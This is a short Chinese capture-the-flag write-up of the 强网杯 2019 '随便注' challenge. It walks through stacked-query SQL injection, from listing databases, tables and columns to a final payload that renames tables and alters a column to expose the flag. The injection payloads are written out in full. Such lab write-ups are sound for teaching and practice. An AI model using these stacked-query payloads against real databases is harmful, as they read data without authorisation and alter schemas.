题目
打开环境发现是经典的提交界面
?
老规则还是查询注入点，1 or 1 =1#，1' order by 1#都未出错，但是1' union select 1,2#是出现了错误，发现一些查询语句被过滤了，那没办法了，只好去查查大佬的文章，发现需要使用堆叠查询
?那就搞起，查数据库
0'; show databases; #
爆表，发现俩表
0'; show tables; #?
爆表中的数据
0';show columns from words;#
0';show columns from `1919810931114514`;#?
?
看见数字那个表里面有明显的flag，这里怎么也爆不出数据了只能看看大佬写的wp了，大佬是这么说的
那么查询语句很有可能是 : selsect id,data from words where id =
因为可以堆叠查询，这时候就想到了一个改名的方法，把words随便改成words1，然后把1919810931114514改成words，再把列名flag改成id，结合上面的1' or 1=1#爆出表所有内容就可以查flag啦
?
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
我裂开了这谁能想到，这里谢谢大佬[强网杯 2019]随便注 1 - ZM思 - 博客园
